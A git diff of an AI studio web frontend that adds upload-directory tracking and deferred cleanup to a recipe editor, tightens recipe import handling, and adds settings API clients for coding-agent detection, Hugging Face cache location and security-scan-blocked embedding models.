index 8659cad4fb..a1ff72ee9b 100644
--- a/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
+++ b/studio/frontend/src/features/recipe-studio/stores/recipe-studio.ts
@@ -36,6 +36,7 @@ import {
 } from "../utils/handles";
 import type { RecipeSnapshot } from "../utils/import";
 import { getLayoutedElements } from "../utils/layout";
+import { makeUnstructuredUploadUid } from "../utils/config-factories";
 import {
   centerModelInfraNodes,
   optimizeModelInfraEdgeHandles,
@@ -76,6 +77,12 @@ type RecipeStudioState = {
   nextId: number;
   nextY: number;
   fitViewTick: number;
+  // Upload-uid directories whose owning block dropped them; server-side
+  // deletion is deferred until a save no longer references them, so a
+  // reload before autosave cannot leave a saved recipe pointing at
+  // deleted files.
+  pendingUploadCleanups: string[];
+  queueUploadCleanup: (uid: string) => void;
   setSheetOpen: (open: boolean) => void;
   setSheetView: (view: SheetView) => void;
   setProcessors: (processors: RecipeProcessorConfig[]) => void;
@@ -137,6 +144,7 @@ const INITIAL_STATE = {
   nextId: 3,
   nextY: 280,
   fitViewTick: 0,
+  pendingUploadCleanups: [],
 } satisfies Pick<
   RecipeStudioState,
   | "nodes"
@@ -154,6 +162,7 @@ const INITIAL_STATE = {
   | "nextId"
   | "nextY"
   | "fitViewTick"
+  | "pendingUploadCleanups"
 >;
 
 function buildAddedNodeState(
@@ -269,6 +278,20 @@ function isModelSemanticEdge(
   );
 }
 
+// Upload uid of a seed block whose server-side directory becomes orphaned
+// when the block drops it. Only uid directories qualify (single owner);
+// legacy node-id directories can be shared by other recipes.
+function seedUploadCleanupUid(config: NodeConfig | undefined): string | null {
+  if (!config || config.kind !== "seed") {
+    return null;
+  }
+  const uid = config.unstructured_upload_uid?.trim();
+  if (!uid || !config.unstructured_file_ids?.length) {
+    return null;
+  }
+  return uid;
+}
+
 export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
   ...INITIAL_STATE,
   setSheetOpen: (open) => set({ sheetOpen: open }),
@@ -278,6 +301,12 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
   setDialogOpen: (open) => set({ dialogOpen: open }),
   setExecutionLocked: (locked) => set({ executionLocked: locked }),
   resetRecipe: () => set(INITIAL_STATE),
+  queueUploadCleanup: (uid) =>
+    set((state) =>
+      state.pendingUploadCleanups.includes(uid)
+        ? state
+        : { pendingUploadCleanups: [...state.pendingUploadCleanups, uid] },
+    ),
   selectConfig: (id) => set({ activeConfigId: id, dialogOpen: false }),
   openConfig: (id) => set({ activeConfigId: id, dialogOpen: true }),
   setLayoutDirection: (direction) =>
@@ -383,7 +412,18 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
       }
       return buildAddedNodeState(state, "sampler", type, position, openDialog);
     }),
-  addSeedNode: (type, position, openDialog = true) =>
+  addSeedNode: (type, position, openDialog = true) => {
+    const current = get();
+    if (!current.executionLocked) {
+      // The reset below clears the block's upload uid and file list; queue
+      // its server-side directory for deletion after the next save.
+      const uid = seedUploadCleanupUid(
+        Object.values(current.configs).find((config) => config.kind === "seed"),
+      );
+      if (uid) {
+        current.queueUploadCleanup(uid);
+      }
+    }
     set((state) => {
       if (state.executionLocked) {
         return state;
@@ -413,6 +453,8 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
         hf_token: "",
         hf_endpoint: "https://huggingface.co",
         local_file_name: "",
+        unstructured_upload_uid:
+          nextSourceType === "unstructured" ? makeUnstructuredUploadUid() : "",
         unstructured_file_ids: [],
         unstructured_file_names: [],
         unstructured_file_sizes: [],
@@ -446,7 +488,8 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
         activeConfigId: existing.id,
         dialogOpen: openDialog,
       };
-    }),
+    });
+  },
   addLlmNode: (type, position, openDialog = true) =>
     set((state) => {
       if (state.executionLocked) {
@@ -699,6 +742,9 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
       dialogOpen: false,
       sheetView: "root",
       fitViewTick: state.fitViewTick + 1,
+      // Queued cleanups belong to the previous recipe; draining them after
+      // a save of this one could delete files its saved payload still uses.
+      pendingUploadCleanups: [],
     })),
   setAuxNodePosition: (id, position) =>
     set((state) => {
@@ -786,6 +832,17 @@ export const useRecipeStudioStore = create<RecipeStudioState>((set, get) => ({
     set(applyUpdate);
   },
   onNodesChange: (changes) => {
+    const current = get();
+    if (!current.executionLocked) {
+      for (const change of changes) {
+        if (change.type === "remove") {
+          const uid = seedUploadCleanupUid(current.configs[change.id]);
+          if (uid) {
+            current.queueUploadCleanup(uid);
+          }
+        }
+      }
+    }
     const applyNodesChange = (state: RecipeStudioState) => {
       if (state.executionLocked) {
         return state;
diff --git a/studio/frontend/src/features/recipe-studio/types/index.ts b/studio/frontend/src/features/recipe-studio/types/index.ts
index b8ed13f70b..9231c5f7a3 100644
--- a/studio/frontend/src/features/recipe-studio/types/index.ts
+++ b/studio/frontend/src/features/recipe-studio/types/index.ts
@@ -340,6 +340,8 @@ export type SeedConfig = {
   hf_token?: string;
   hf_endpoint?: string;
   local_file_name?: string;
+  // ui-only: stable per-block id for uploads, since node ids collide across imports
+  unstructured_upload_uid?: string;
   unstructured_file_ids?: string[];
   unstructured_file_names?: string[];
   unstructured_file_sizes?: number[];
diff --git a/studio/frontend/src/features/recipe-studio/utils/config-factories.ts b/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
index 76fc2c38ee..d47bac8858 100644
--- a/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/config-factories.ts
@@ -20,6 +20,46 @@ import type {
 } from "../types";
 import { nextName } from "./naming";
 
+export function makeUnstructuredUploadUid(): string {
+  if (typeof globalThis.crypto?.randomUUID === "function") {
+    return globalThis.crypto.randomUUID().replace(/-/g, "").toLowerCase();
+  }
+  if (typeof globalThis.crypto?.getRandomValues === "function") {
+    const bytes = new Uint8Array(16);
+    globalThis.crypto.getRandomValues(bytes);
+    return Array.from(bytes, (byte) => byte.toString(16).padStart(2, "0")).join(
+      "",
+    );
+  }
+  let uid = "";
+  while (uid.length < 32) {
+    uid += Math.floor(Math.random() * 0x100000000)
+      .toString(16)
+      .padStart(8, "0");
+  }
+  return uid.slice(0, 32);
+}
+
+export function resolveUnstructuredUploadBlockId({
+  configId,
+  uploadUid,
+  generatedUploadUid,
+  unstructuredFileCount,
+}: {
+  configId: string;
+  uploadUid: string;
+  generatedUploadUid: string | null;
+  unstructuredFileCount: number;
+}): string {
+  if (uploadUid) {
+    return uploadUid;
+  }
+  if (generatedUploadUid) {
+    return generatedUploadUid;
+  }
+  return unstructuredFileCount > 0 ? configId : "";
+}
+
 export function makeSamplerConfig(
   id: string,
   samplerType: SamplerType,
@@ -368,6 +408,9 @@ export function makeSeedConfig(
     hf_token: "",
     hf_endpoint: "https://huggingface.co",
     local_file_name: "",
+    ...(seedSourceType === "unstructured"
+      ? { unstructured_upload_uid: makeUnstructuredUploadUid() }
+      : {}),
     unstructured_file_ids: [],
     unstructured_file_names: [],
     unstructured_file_sizes: [],
diff --git a/studio/frontend/src/features/recipe-studio/utils/import/importer.ts b/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
index ac881d0373..54df2ffd50 100644
--- a/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/import/importer.ts
@@ -16,11 +16,7 @@ import type {
 } from "../../types";
 import { buildEdges } from "./edges";
 import { isRecord, parseJson, readString } from "./helpers";
-import {
-  parseColumn,
-  parseModelConfig,
-  parseModelProvider,
-} from "./parsers";
+import { parseColumn, parseModelConfig, parseModelProvider } from "./parsers";
 import { parseSeedConfig } from "./parsers/seed-config-parser";
 import { buildNodes, parseUi } from "./ui";
 import type { ImportResult } from "./types";
@@ -43,6 +39,7 @@ type UiInput = {
   seed_drop_columns?: unknown;
   seed_preview_rows?: unknown;
   local_file_name?: unknown;
+  unstructured_upload_uid?: unknown;
   unstructured_file_ids?: unknown;
   unstructured_file_names?: unknown;
   unstructured_file_sizes?: unknown;
@@ -51,6 +48,10 @@ type UiInput = {
   advanced_open_by_node?: unknown;
 };
 
+type ImportRecipePayloadOptions = {
+  preserveUnstructuredUploads?: boolean;
+};
+
 type UiMarkdownNoteNode = {
   name: string;
   markdown: string;
@@ -90,7 +91,7 @@ function parseProcessors(input: unknown): RecipeProcessorConfig[] {
         ? templateRaw
         : isRecord(templateRaw)
           ? JSON.stringify(templateRaw, null, 2)
-          : "{\n  \"text\": \"{{ column_name }}\"\n}";
+          : '{\n  "text": "{{ column_name }}"\n}';
     processors.push({
       id: `p${index + 1}`,
       // biome-ignore lint/style/useNamingConvention: api schema
@@ -135,9 +136,7 @@ function parseSeedDropColumns(input: unknown): string[] {
   return Array.from(values);
 }
 
-function parseMcpProviders(
-  input: unknown,
-): Map<string, LlmMcpProviderConfig> {
+function parseMcpProviders(input: unknown): Map<string, LlmMcpProviderConfig> {
   const providers = new Map<string, LlmMcpProviderConfig>();
   if (!Array.isArray(input)) {
     return providers;
@@ -156,13 +155,12 @@ function parseMcpProviders(
     const args = Array.isArray(item.args)
       ? item.args.map((value) => String(value))
       : [];
-    const envPairs =
-      isRecord(item.env)
-        ? Object.entries(item.env).map(([key, value]) => ({
-            key: String(key),
-            value: String(value),
-          }))
-        : [];
+    const envPairs = isRecord(item.env)
+      ? Object.entries(item.env).map(([key, value]) => ({
+          key: String(key),
+          value: String(value),
+        }))
+      : [];
     providers.set(name, {
       id: `mcp-${index + 1}`,
       name,
@@ -209,7 +207,8 @@ function parseToolConfigs(input: unknown): Map<string, LlmToolConfig> {
       allow_tools: allowTools,
       // biome-ignore lint/style/useNamingConvention: api schema
       max_tool_call_turns:
-        item.max_tool_call_turns === null || item.max_tool_call_turns === undefined
+        item.max_tool_call_turns === null ||
+        item.max_tool_call_turns === undefined
           ? "5"
           : String(item.max_tool_call_turns),
       // biome-ignore lint/style/useNamingConvention: api schema
@@ -257,7 +256,9 @@ function parseUiMarkdownNoteNodes(input: unknown): UiMarkdownNoteNode[] {
   return noteNodes;
 }
 
-function parseUiToolProfileNodes(input: unknown): Map<string, Record<string, string[]>> {
+function parseUiToolProfileNodes(
+  input: unknown,
+): Map<string, Record<string, string[]>> {
   const toolProfiles = new Map<string, Record<string, string[]>>();
   if (!Array.isArray(input)) {
     return toolProfiles;
@@ -312,9 +313,15 @@ function parseAdvancedOpenByNode(input: unknown): Record<string, boolean> {
   return out;
 }
 
-type AdvancedOpenConfig = LlmConfig | SamplerConfig | SeedConfig | ValidatorConfig;
+type AdvancedOpenConfig =
+  | LlmConfig
+  | SamplerConfig
+  | SeedConfig
+  | ValidatorConfig;
 
-function isAdvancedOpenConfig(config: NodeConfig): config is AdvancedOpenConfig {
+function isAdvancedOpenConfig(
+  config: NodeConfig,
+): config is AdvancedOpenConfig {
   return (
     config.kind === "llm" ||
     config.kind === "sampler" ||
@@ -350,7 +357,8 @@ function buildToolProfileConfig(
       .map((providerName) => mcpProvidersByName.get(providerName))
       .flatMap((provider) => (provider ? [cloneMcpProvider(provider)] : [])),
     // biome-ignore lint/style/useNamingConvention: ui schema
-    fetched_tools_by_provider: fetchedToolsByProfileName.get(canonical.tool_alias) ?? {},
+    fetched_tools_by_provider:
+      fetchedToolsByProfileName.get(canonical.tool_alias) ?? {},
     // biome-ignore lint/style/useNamingConvention: api schema
     allow_tools: [...(canonical.allow_tools ?? [])],
     // biome-ignore lint/style/useNamingConvention: api schema
@@ -360,7 +368,10 @@ function buildToolProfileConfig(
   };
 }
 
-export function importRecipePayload(input: string): ImportResult {
+export function importRecipePayload(
+  input: string,
+  options: ImportRecipePayloadOptions = {},
+): ImportResult {
   const parsed = parseJson(input);
   if (!parsed.data || !isRecord(parsed.data)) {
     return {
@@ -369,9 +380,9 @@ export function importRecipePayload(input: string): ImportResult {
     };
   }
 
-  const recipe = (isRecord(parsed.data.recipe)
-    ? parsed.data.recipe
-    : parsed.data) as RecipeInput;
+  const recipe = (
+    isRecord(parsed.data.recipe) ? parsed.data.recipe : parsed.data
+  ) as RecipeInput;
   const ui = isRecord(parsed.data.ui) ? (parsed.data.ui as UiInput) : null;
 
   if (!Array.isArray(recipe.columns)) {
@@ -410,21 +421,36 @@ export function importRecipePayload(input: string): ImportResult {
         .map((row) => ({ ...row }))
     : undefined;
   const uiLocalFileName = readString(ui?.local_file_name) ?? undefined;
-  // Preserve file IDs/names from saved recipes (cleared at share time by sanitizeSeedForShare)
-  const uiUnstructuredFileIds: string[] = Array.isArray(ui?.unstructured_file_ids)
-    ? (ui.unstructured_file_ids as string[]).filter((v): v is string => typeof v === "string")
-    : [];
-  const uiUnstructuredFileNames: string[] = Array.isArray(ui?.unstructured_file_names)
-    ? (ui.unstructured_file_names as string[]).filter((v): v is string => typeof v === "string")
-    : [];
-  const uiUnstructuredFileSizes: number[] = Array.isArray(ui?.unstructured_file_sizes)
-    ? (ui.unstructured_file_sizes as number[]).filter((v): v is number => typeof v === "number")
-    : [];
+  const preserveUnstructuredUploads =
+    options.preserveUnstructuredUploads === true;
+  const uiUnstructuredUploadUid = preserveUnstructuredUploads
+    ? (readString(ui?.unstructured_upload_uid) ?? undefined)
+    : undefined;
+  const uiUnstructuredFileIds: string[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_ids)
+      ? (ui.unstructured_file_ids as string[]).filter(
+          (v): v is string => typeof v === "string",
+        )
+      : [];
+  const uiUnstructuredFileNames: string[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_names)
+      ? (ui.unstructured_file_names as string[]).filter(
+          (v): v is string => typeof v === "string",
+        )
+      : [];
+  const uiUnstructuredFileSizes: number[] =
+    preserveUnstructuredUploads && Array.isArray(ui?.unstructured_file_sizes)
+      ? (ui.unstructured_file_sizes as number[]).filter(
+          (v): v is number => typeof v === "number",
+        )
+      : [];
   const uiUnstructuredChunkSize = readStringNumber(ui?.unstructured_chunk_size);
   const uiUnstructuredChunkOverlap = readStringNumber(
     ui?.unstructured_chunk_overlap,
   );
-  const uiAdvancedOpenByNode = parseAdvancedOpenByNode(ui?.advanced_open_by_node);
+  const uiAdvancedOpenByNode = parseAdvancedOpenByNode(
+    ui?.advanced_open_by_node,
+  );
   const uiMarkdownNotes = parseUiMarkdownNoteNodes(ui?.nodes);
   const uiToolProfilesByName = parseUiToolProfileNodes(ui?.nodes);
 
@@ -459,11 +485,13 @@ export function importRecipePayload(input: string): ImportResult {
           : payloadSeedDropColumns,
       seed_preview_rows: uiSeedPreviewRows,
       local_file_name: uiLocalFileName,
+      unstructuredUploadUid: uiUnstructuredUploadUid,
       unstructuredFileIds: uiUnstructuredFileIds,
       unstructuredFileNames: uiUnstructuredFileNames,
       unstructuredFileSizes: uiUnstructuredFileSizes,
       unstructured_chunk_size: uiUnstructuredChunkSize,
       unstructured_chunk_overlap: uiUnstructuredChunkOverlap,
+      preserveUnstructuredUploads,
     });
     if (seedConfig) {
       applyAdvancedOpen(seedConfig, uiAdvancedOpenByNode);
@@ -567,12 +595,7 @@ export function importRecipePayload(input: string): ImportResult {
   const { layouts, auxNodes, edges: uiEdges, layoutDirection } = parseUi(ui);
   const resolvedLayoutDirection = layoutDirection ?? "LR";
   const nodes = buildNodes(configs, layouts);
-  const edges = buildEdges(
-    configs,
-    nameToId,
-    uiEdges,
-    resolvedLayoutDirection,
-  );
+  const edges = buildEdges(configs, nameToId, uiEdges, resolvedLayoutDirection);
   const auxNodePositions = Object.fromEntries(
     auxNodes.flatMap((item) => {
       const llmId = nameToId.get(item.llm);
@@ -583,10 +606,7 @@ export function importRecipePayload(input: string): ImportResult {
     }),
   );
 
-  const maxY = nodes.reduce(
-    (acc, node) => Math.max(acc, node.position.y),
-    0,
-  );
+  const maxY = nodes.reduce((acc, node) => Math.max(acc, node.position.y), 0);
 
   return {
     errors: [],
diff --git a/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts b/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
index 21eadb3195..939205fe6d 100644
--- a/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/import/parsers/seed-config-parser.ts
@@ -197,17 +197,26 @@ export function parseSeedConfig(
     seed_drop_columns?: string[];
     seed_preview_rows?: Record<string, unknown>[];
     local_file_name?: string;
+    unstructuredUploadUid?: string;
     unstructuredFileIds?: string[];
     unstructuredFileNames?: string[];
     unstructuredFileSizes?: number[];
     unstructured_chunk_size?: string;
     unstructured_chunk_overlap?: string;
+    preserveUnstructuredUploads?: boolean;
   },
 ): SeedConfig | null {
   if (!seedConfigRaw) {
     return null;
   }
-  const parsed = parseSeedSettings(seedConfigRaw);
+  const parsed = { ...parseSeedSettings(seedConfigRaw) };
+  if (
+    parsed.seed_source_type === "unstructured" &&
+    options?.preserveUnstructuredUploads !== true
+  ) {
+    parsed.hf_path = "";
+    parsed.resolved_paths = [];
+  }
   let sourceType: SeedSourceType = "hf";
   if (parsed.seed_source_type === "hf") {
     sourceType = "hf";
@@ -230,6 +239,9 @@ export function parseSeedConfig(
     ...(options?.local_file_name !== undefined
       ? { local_file_name: options.local_file_name }
       : {}),
+    ...(options?.unstructuredUploadUid
+      ? { unstructured_upload_uid: options.unstructuredUploadUid }
+      : {}),
     ...(options?.unstructuredFileIds !== undefined
       ? { unstructured_file_ids: options.unstructuredFileIds }
       : {}),
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts b/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
index 34c3c34274..9b2ad5b2b5 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/build-payload.ts
@@ -440,6 +440,9 @@ export function buildRecipePayload(
             unstructured_file_names: firstSeed.unstructured_file_names,
             unstructured_file_sizes: firstSeed.unstructured_file_sizes,
           }),
+        ...(firstSeed?.unstructured_upload_uid?.trim() && {
+          unstructured_upload_uid: firstSeed.unstructured_upload_uid,
+        }),
         ...(firstSeed &&
           firstSeed.unstructured_chunk_size !== undefined && {
             unstructured_chunk_size: firstSeed.unstructured_chunk_size,
diff --git a/studio/frontend/src/features/recipe-studio/utils/payload/types.ts b/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
index 902ea796b4..763e68c1fb 100644
--- a/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/payload/types.ts
@@ -71,6 +71,8 @@ export type RecipePayload = {
     seed_preview_rows?: Record<string, unknown>[];
     local_file_name?: string;
     // biome-ignore lint/style/useNamingConvention: api schema
+    unstructured_upload_uid?: string;
+    // biome-ignore lint/style/useNamingConvention: api schema
     unstructured_file_ids?: string[];
     // biome-ignore lint/style/useNamingConvention: api schema
     unstructured_file_names?: string[];
diff --git a/studio/frontend/src/features/recipe-studio/utils/ui-tones.ts b/studio/frontend/src/features/recipe-studio/utils/ui-tones.ts
index 3d9ecff15a..1dc3666687 100644
--- a/studio/frontend/src/features/recipe-studio/utils/ui-tones.ts
+++ b/studio/frontend/src/features/recipe-studio/utils/ui-tones.ts
@@ -27,10 +27,10 @@ export const RECIPE_STUDIO_USER_NODE_TONE =
 
 export const RECIPE_STUDIO_REFERENCE_BADGE_TONES = {
   user:
-    "corner-squircle border-amber-500/25 bg-amber-500/10 font-mono text-[11px] text-amber-700 dark:text-amber-300",
+    "corner-squircle border-amber-500/25 bg-amber-500/10 font-mono text-ui-11 text-amber-700 dark:text-amber-300",
   seed:
-    "corner-squircle border-blue-500/25 bg-blue-500/10 font-mono text-[11px] text-blue-700 dark:text-blue-300",
-  default: "corner-squircle font-mono text-[11px]",
+    "corner-squircle border-blue-500/25 bg-blue-500/10 font-mono text-ui-11 text-blue-700 dark:text-blue-300",
+  default: "corner-squircle font-mono text-ui-11",
 } as const;
 
 export const RECIPE_STUDIO_WARNING_BADGE_TONE =
diff --git a/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx b/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
index 6426225e7f..69bab2156e 100644
--- a/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
+++ b/studio/frontend/src/features/security/components/remote-code-consent-dialog.tsx
@@ -111,7 +111,7 @@ function UnsafeFileCard({ file }: { file: UnsafeFile }) {
       <Badge
         variant="outline"
         className={cn(
-          "shrink-0 text-[10px] font-semibold uppercase tracking-wide",
+          "shrink-0 text-ui-10 font-semibold uppercase tracking-wide",
           severityTone("CRITICAL"),
         )}
       >
@@ -134,7 +134,7 @@ function FindingCard({ finding }: { finding: RemoteCodeFinding }) {
         <Badge
           variant="outline"
           className={cn(
-            "shrink-0 text-[10px] font-semibold tracking-wide",
+            "shrink-0 text-ui-10 font-semibold tracking-wide",
             severityTone(finding.severity),
           )}
         >
diff --git a/studio/frontend/src/features/settings/api/coding-agents.ts b/studio/frontend/src/features/settings/api/coding-agents.ts
new file mode 100644
index 0000000000..ae371b2d3a
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/coding-agents.ts
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type CodingAgentsInfo = {
+  // Every agent `unsloth start` supports, in the CLI's declared order.
+  agents: string[];
+  // Subset of `agents` whose CLI binary was found on PATH by the backend.
+  detected: string[];
+};
+
+type ApiCodingAgentsInfo = {
+  agents: string[];
+  detected: string[];
+};
+
+// Which CLIs are on PATH is environment state, not a persisted setting -- it
+// can change any time the user installs something new, so this only
+// de-duplicates concurrent in-flight calls (e.g. React strict-mode's double
+// mount) rather than caching the result across the module's lifetime. Every
+// fresh call (each time a settings panel mounts) re-checks PATH for real.
+let inFlightInfo: Promise<CodingAgentsInfo> | null = null;
+
+function fromApi(info: ApiCodingAgentsInfo): CodingAgentsInfo {
+  return { agents: info.agents, detected: info.detected };
+}
+
+async function fetchCodingAgents(): Promise<CodingAgentsInfo> {
+  const res = await authFetch("/api/settings/coding-agents");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load installed coding agents"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function loadCodingAgents(): Promise<CodingAgentsInfo> {
+  inFlightInfo ??= fetchCodingAgents().finally(() => {
+    inFlightInfo = null;
+  });
+  return inFlightInfo;
+}
diff --git a/studio/frontend/src/features/settings/api/embedding-model.ts b/studio/frontend/src/features/settings/api/embedding-model.ts
index 8b6bc7ee7f..cc21559f38 100644
--- a/studio/frontend/src/features/settings/api/embedding-model.ts
+++ b/studio/frontend/src/features/settings/api/embedding-model.ts
@@ -2,11 +2,14 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch } from "@/features/auth";
+import { bumpInventoryVersion } from "@/features/hub";
 import { readFastApiError } from "@/lib/format-fastapi-error";
 
 export type EmbeddingModelSettings = {
   embeddingModel: string;
+  embeddingGgufRepo: string;
   defaultEmbeddingModel: string;
+  defaultEmbeddingGgufRepo: string;
   isCustom: boolean;
 };
 
@@ -14,8 +17,12 @@ type ApiEmbeddingModelSettings = {
   // biome-ignore lint/style/useNamingConvention: API schema
   embedding_model: string;
   // biome-ignore lint/style/useNamingConvention: API schema
+  embedding_gguf_repo: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
   default_embedding_model: string;
   // biome-ignore lint/style/useNamingConvention: API schema
+  default_embedding_gguf_repo: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
   is_custom: boolean;
 };
 
@@ -23,10 +30,16 @@ type ApiEmbeddingModelSettings = {
  * (wrong type, gated repo, or offline). Retry with force to save anyway. */
 export class EmbeddingModelVerificationError extends Error {}
 
+/** 403 from the backend: the repo is flagged unsafe by Hugging Face's security scan.
+ * A hard block; force cannot bypass it, so it must not enter the "save anyway" flow. */
+export class EmbeddingModelBlockedError extends Error {}
+
 function fromApi(settings: ApiEmbeddingModelSettings): EmbeddingModelSettings {
   return {
     embeddingModel: settings.embedding_model,
+    embeddingGgufRepo: settings.embedding_gguf_repo,
     defaultEmbeddingModel: settings.default_embedding_model,
+    defaultEmbeddingGgufRepo: settings.default_embedding_gguf_repo,
     isCustom: settings.is_custom,
   };
 }
@@ -56,6 +69,11 @@ export async function updateEmbeddingModelSettings(
       force: options?.force ?? false,
     }),
   });
+  if (res.status === 403) {
+    throw new EmbeddingModelBlockedError(
+      await readFastApiError(res, "This model is blocked by a security scan"),
+    );
+  }
   if (res.status === 409) {
     throw new EmbeddingModelVerificationError(
       await readFastApiError(res, "Could not verify the embedding model"),
@@ -66,7 +84,9 @@ export async function updateEmbeddingModelSettings(
       await readFastApiError(res, "Failed to save embedding model"),
     );
   }
-  return fromApi(await res.json());
+  const settings = fromApi(await res.json());
+  bumpInventoryVersion();
+  return settings;
 }
 
 export async function resetEmbeddingModelSettings(): Promise<EmbeddingModelSettings> {
@@ -78,5 +98,7 @@ export async function resetEmbeddingModelSettings(): Promise<EmbeddingModelSetti
       await readFastApiError(res, "Failed to reset embedding model"),
     );
   }
-  return fromApi(await res.json());
+  const settings = fromApi(await res.json());
+  bumpInventoryVersion();
+  return settings;
 }
diff --git a/studio/frontend/src/features/settings/api/hugging-face-cache.ts b/studio/frontend/src/features/settings/api/hugging-face-cache.ts
new file mode 100644
index 0000000000..3ca0f31053
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/hugging-face-cache.ts
@@ -0,0 +1,90 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import {
+  bumpInventoryVersion,
+  invalidateGgufVariantsCache,
+} from "@/features/hub";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type HuggingFaceCacheSettings = {
+  cacheHome: string;
+  hubCache: string;
+  xetCache: string;
+  source: "default" | "studio" | "environment";
+  editable: boolean;
+  isCustom: boolean;
+  available: boolean;
+  writable: boolean;
+  freeBytes: number | null;
+  environmentVariable: string | null;
+};
+
+type ApiHuggingFaceCacheSettings = {
+  // biome-ignore lint/style/useNamingConvention: API schema
+  cache_home: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  hub_cache: string;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  xet_cache: string;
+  source: HuggingFaceCacheSettings["source"];
+  editable: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  is_custom: boolean;
+  available: boolean;
+  writable: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  free_bytes: number | null;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  environment_variable: string | null;
+};
+
+function fromApi(value: ApiHuggingFaceCacheSettings): HuggingFaceCacheSettings {
+  return {
+    cacheHome: value.cache_home,
+    hubCache: value.hub_cache,
+    xetCache: value.xet_cache,
+    source: value.source,
+    editable: value.editable,
+    isCustom: value.is_custom,
+    available: value.available,
+    writable: value.writable,
+    freeBytes: value.free_bytes,
+    environmentVariable: value.environment_variable,
+  };
+}
+
+export async function loadHuggingFaceCacheSettings() {
+  const response = await authFetch("/api/settings/hugging-face-cache");
+  if (!response.ok) {
+    throw new Error(
+      await readFastApiError(
+        response,
+        "Failed to load the model cache location",
+      ),
+    );
+  }
+  return fromApi(await response.json());
+}
+
+export async function updateHuggingFaceCacheSettings(cacheHome: string | null) {
+  const response = await authFetch("/api/settings/hugging-face-cache", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    // biome-ignore lint/style/useNamingConvention: API schema
+    body: JSON.stringify({ cache_home: cacheHome }),
+  });
+  if (!response.ok) {
+    throw new Error(
+      await readFastApiError(
+        response,
+        "Failed to update the model cache location",
+      ),
+    );
+  }
+  const settings = fromApi(await response.json());
+  bumpInventoryVersion();
+  invalidateGgufVariantsCache();
+  return settings;
+}
diff --git a/studio/frontend/src/features/settings/api/models-folder.ts b/studio/frontend/src/features/settings/api/models-folder.ts
deleted file mode 100644
index 13e8c065c3..0000000000
--- a/studio/frontend/src/features/settings/api/models-folder.ts
+++ /dev/null
@@ -1,40 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { authFetch } from "@/features/auth";
-import { readFastApiError } from "@/lib/format-fastapi-error";
-
-export type ModelsFolder = {
-  path: string;
-};
-
-// The path is resolved once at backend startup and never changes, so cache it
-// and dedupe concurrent loads (same shape as the sibling settings loaders).
-let cachedModelsFolder: ModelsFolder | null = null;
-let inFlightModelsFolder: Promise<ModelsFolder> | null = null;
-
-async function fetchModelsFolder(): Promise<ModelsFolder> {
-  const res = await authFetch("/api/hub/models-folder");
-  if (!res.ok) {
-    throw new Error(
-      await readFastApiError(res, "Failed to load models folder"),
-    );
-  }
-  const data = (await res.json()) as { path: string };
-  return { path: data.path };
-}
-
-export async function loadModelsFolder(): Promise<ModelsFolder> {
-  if (cachedModelsFolder) {
-    return cachedModelsFolder;
-  }
-  inFlightModelsFolder ??= fetchModelsFolder()
-    .then((folder) => {
-      cachedModelsFolder = folder;
-      return folder;
-    })
-    .finally(() => {
-      inFlightModelsFolder = null;
-    });
-  return inFlightModelsFolder;
-}
diff --git a/studio/frontend/src/features/settings/api/openai-auto-switch.ts b/studio/frontend/src/features/settings/api/openai-auto-switch.ts
index 80ffc084d0..47bad56eab 100644
--- a/studio/frontend/src/features/settings/api/openai-auto-switch.ts
